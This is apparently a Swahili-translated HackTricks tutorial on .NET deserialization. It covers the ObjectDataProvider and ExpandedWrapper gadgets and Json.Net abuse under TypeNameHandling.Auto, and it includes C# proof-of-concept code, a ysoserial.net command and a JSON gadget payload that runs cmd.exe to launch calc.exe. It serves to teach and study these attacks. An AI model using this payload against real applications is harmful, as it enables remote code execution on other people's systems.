Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Machapisho haya yanajitolea kuelewa jinsi gadget ya ObjectDataProvider inavyotumiwa kupata RCE na jinsi maktaba za Serialization kama Json.Net na xmlSerializer zinavyoweza kutumiwa vibaya na gadget hiyo.

Gadget ya ObjectDataProvider

Kutoka kwenye nyaraka: Darasa la ObjectDataProvider hufunga na kuunda kitu unachoweza kutumia kama chanzo cha kufunga. Ndio, ni maelezo ya ajabu, kwa hivyo tutaona kipi kinafanya darasa hili kiwe cha kuvutia: Darasa hili linaruhusu kufunga kitu cha kupendelea, kutumia MethodParameters kuweka parameta za kupendelea, na kisha tumia MethodName kuita kazi ya kupendelea ya kitu cha kupendelea kilichotangazwa kwa kutumia parameta za kupendelea. Kwa hivyo, kitu cha kupendelea kitafanya kazi na kazi na parameta wakati wa deserialization.

Hii inawezekanaje

Jina la System.Windows.Data, lililopatikana ndani ya PresentationFramework.dll kwenye C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, ndio mahali ambapo ObjectDataProvider inafafanuliwa na kutekelezwa.

Kwa kutumia dnSpy unaweza kupekua msimbo wa darasa tunalovutiwa nalo. Katika picha hapa chini tunauona msimbo wa PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Jina la kazi

Kama unavyoweza kuona wakati MethodName inawekwa base.Refresh() inaitwa, hebu tuangalie inafanya nini:

Sawa, tuendelee kuona inafanya nini this.BeginQuery(). BeginQuery inabadilishwa na ObjectDataProvider na hii ndio inayofanya:

Tambua kuwa mwishoni mwa msimbo inaita this.QueryWorke(null). Hebu tuone inafanya nini:

Tambua kuwa huu si msimbo kamili wa kazi ya QueryWorker lakini unaonyesha sehemu ya kuvutia: Msimbo unaita this.InvokeMethodOnInstance(out ex); hii ndio mstari ambapo kazi iliyowekwa inaitwa.

Ikiwa unataka kuhakikisha kuwa kwa kuweka MethodName** itatekelezwa**, unaweza kukimbia msimbo huu:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Tafadhali kumbuka unahitaji kuongeza kama kumbukumbu C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll ili kupakia System.Windows.Data

ExpandedWrapper

Kutumia shambulio lililopita kutakuwa na hali ambapo kitu kitakuwa kimefanyiwa deserialization kama kipengele cha ObjectDataProvider (kwa mfano katika udhaifu wa DotNetNuke, kutumia XmlSerializer, kitu kilifanyiwa deserialization kwa kutumia GetType). Kisha, hakutakuwa na ufahamu wa aina ya kitu kilichofungwa katika kipengele cha ObjectDataProvider (kama vile Process). Unaweza kupata habari zaidi kuhusu udhaifu wa DotNetNuke hapa.

Darasa hili linaruhusu kutaja aina za vitu ambavyo vimefungwa katika kipengele kilichopewa. Kwa hivyo, darasa hili linaweza kutumika kufunga chanzo cha kitu (ObjectDataProvider) katika aina mpya ya kitu na kutoa mali tunazohitaji (ObjectDataProvider.MethodName na ObjectDataProvider.MethodParameters). Hii ni muhimu sana kwa hali kama ile iliyowasilishwa hapo awali, kwa sababu tutaweza kufunga ObjectDataProvider ndani ya kipengele cha ExpandedWrapper na wakati wa deserialization darasa hili litasababisha kitu cha OjectDataProvider ambacho kitatekeleza kazi iliyotajwa katika MethodName.

Unaweza kuangalia kifungashio hiki na nambari ifuatayo:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Kwenye ukurasa rasmi inaonyeshwa kuwa maktaba hii inaruhusu Kutunga na kusahihisha kitu chochote cha .NET na serializer yenye nguvu ya JSON ya Json.NET. Kwa hivyo, ikiwa tunaweza kusahihisha kifaa cha ObjectDataProvider, tunaweza kusababisha RCE kwa kusahihisha kitu.

Mfano wa Json.Net

Kwanza kabisa tuchunguze mfano wa jinsi ya kusahihisha/kusahihisha kitu kutumia maktaba hii:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Kutumia Json.Net

Kwa kutumia ysoserial.net niliumba shambulizi:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Katika msimbo huu unaweza jaribu kudukua, tu endesha na utaona kwamba kikokotoo kinatekelezwa:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Last updated